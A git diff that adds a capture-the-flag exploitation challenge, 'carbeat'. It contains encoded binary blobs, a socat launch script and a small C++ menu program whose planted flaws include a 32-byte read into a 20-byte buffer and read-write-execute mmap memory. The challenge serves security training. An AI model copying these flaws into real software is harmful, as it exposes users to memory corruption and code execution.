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

literal 0
HcmV?d00001

diff --git a/services/carbeat/chall/mybini.cpp b/services/carbeat/chall/mybini.cpp
new file mode 100644
index 0000000..94ca282
--- /dev/null
+++ b/services/carbeat/chall/mybini.cpp
@@ -0,0 +1,227 @@
+#include <algorithm>
+#include <cstddef>
+#include <iostream>
+#include <string>
+#include <vector>
+#include <cstring>
+#include <fcntl.h>
+#include <sys/mman.h>
+
+struct Bini {
+    Bini *next = nullptr;
+    char *curr = nullptr;
+    Bini() {}
+    Bini(char *my) {
+        curr = my;
+    }
+};
+
+class MyKisah {
+
+private:
+    Bini *free = nullptr;
+    Bini *used = nullptr;
+    char *kisah;
+
+public:
+    MyKisah() {
+        kisah = (char*)mmap(nullptr, 0x120, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
+        for (int i = 0; i < 0x120; i += 0x20) {
+            Bini *tmp = free;
+            free = new Bini(kisah + i);
+            free->next = tmp;
+        }
+    }
+
+    int add(char *bini) {
+        if (!free) return -1;
+        Bini *tmp = used;
+        used = free;
+        free = free->next;
+        used->next = tmp;
+        strncpy(used->curr, bini, 0x20);
+        return 0;
+    }
+
+    int del(unsigned int id) {
+        if (!used) return -1;
+        if (!id) {
+            Bini *tmp = free;
+            free = used;
+            used = used->next;
+            free->next = tmp;
+            return 0;
+        }
+        Bini *cur = used;
+        for (int i = 0; i < (int)id - 1; ++i) {
+            if (!cur) return -1;
+            cur = cur->next;
+        }
+        if (!cur || !cur->next) return -1;
+        Bini *tmp = free;
+        free = cur->next;
+        cur->next = cur->next->next;
+        free->next = tmp;
+        return 0;
+    }
+
+    void view(int id) {
+        Bini *cur = used;
+        for (int i = 0; i < id; ++i) {
+            if (!cur) {
+                std::cout << "no bini\n";
+                return;
+            }
+            cur = cur->next;
+        }
+        if (!cur) {
+            std::cout << "no bini\n";
+            return;
+        }
+        std::cout << cur->curr << '\n';
+    }    
+    
+};
+
+class Karbit {
+    protected:
+        size_t karbit_level;
+    public:
+        char karbit[20];
+        Karbit() {
+            std::cout << "nama: ";
+            std::cin.ignore();
+            std::cin.getline(karbit, 0x20);
+            std::cout << "level karbit (0-100): ";
+            std::cin >> karbit_level;
+        }
+        void info(){
+            std::cout << karbit << " adalah "<< std::min(karbit_level, (size_t)100) << "%" << " karbit\n";
+        }
+        virtual void mybini() = 0;
+};
+
+class User: public Karbit {
+
+    private:
+        MyKisah my;
+    public:
+        User(){}
+        void mybini() {
+            std::cout << "0. edit karbit\n1. add bini\n2. view bini\n3. delete bini\n4. logout\n";
+        }
+
+        void edit_karbit(){
+            std::cout << "karbit old: " << karbit << '\n';
+            std::cout << "karbit new: ";
+            std::cin.ignore();
+            std::cin.getline(karbit, 0x20);
+        }
+
+        void add_bini(){
+            char bini[0x20];
+            std::cout << "nama bini: ";
+            std::cin.ignore();
+            std::cin.getline(bini, 0x20);
+            if (my.add(bini) == -1) {
+                std::cout << "gagal menambah bini\n";
+                return;
+            }
+        }
+        
+        void view_bini(){
+            unsigned int idx;
+            std::cout << "index bini: ";
+            std::cin >> idx;
+            my.view(idx);
+        }
+
+        void delete_bini(){
+            unsigned int idx;
+            std::cout << "index bini: ";
+            std::cin >> idx;
+            if (my.del(idx) == -1) {
+                std::cout << "gagal menghapus bini\n";
+                return;
+            }
+        }
+};
+
+std::vector<User> users;
+int selected_user = -1;
+
+int main(){
+    int c;
+
+    for (;;){
+        if (selected_user == -1) {
+            std::cout << "1. register" << std::endl;
+            std::cout << "2. login" << std::endl;
+            std::cout << "3. list karbit" << std::endl;
+            std::cout << "> ";
+            std::cin >> c;
+
+            switch (c) {
+                case 1:
+                    users.push_back(User{});
+                    break;
+                case 2:
+                    {
+                        std::string name;
+                        std::cout << "nama: ";
+                        std::cin >> name;
+                        for (int i = 0; i < (int)users.size(); i++){
+                            if (users[i].karbit == name) {
+                                selected_user = i;
+                                break;
+                            }
+                        }
+
+                        if (selected_user == -1) {
+                            std::cout << "karbit tidak ditemukan" << std::endl;
+                        }
+                    }
+                    break;
+                case 3:
+                    for (auto& user : users) user.info();
+                    break;
+                default:
+                    std::cout << "invalid option" << std::endl;
+            }
+        } else {
+            users[selected_user].mybini();
+            std::cout << "> ";
+            std::cin >> c;
+
+            switch (c) {
+                case 0:
+                    users[selected_user].edit_karbit();
+                    break;
+                case 1:
+                    users[selected_user].add_bini();
+                    break;
+                case 2:
+                    users[selected_user].view_bini();
+                    break;
+                case 3:
+                    users[selected_user].delete_bini();
+                    break;
+                case 4:
+                    selected_user = -1;
+                    break;
+                default:
+                    std::cout << "invalid option" << std::endl;
+                    break;
+            }
+        }
+    }
+
+    return 0;
+}
+
+
+void init() {
+    setbuf(stdin, nullptr);
+    setbuf(stdout, nullptr);
+    setbuf(stderr, nullptr);
+}
\ No newline at end of file
diff --git a/services/carbeat/chall/run.sh b/services/carbeat/chall/run.sh
new file mode 100644
index 0000000..2625de4
--- /dev/null
+++ b/services/carbeat/chall/run.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+exec socat TCP-LISTEN:9000,reuseaddr,fork EXEC:./mybini
\ No newline at end of file
diff --git a/services/carbeat/dist/carbeat.zip b/services/carbeat/dist/carbeat.zip
new file mode 100644
index 0000000000000000000000000000000000000000..f9ddc34a0249893673bbfa4e921235a13667c767
GIT binary patch
literal 12524
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
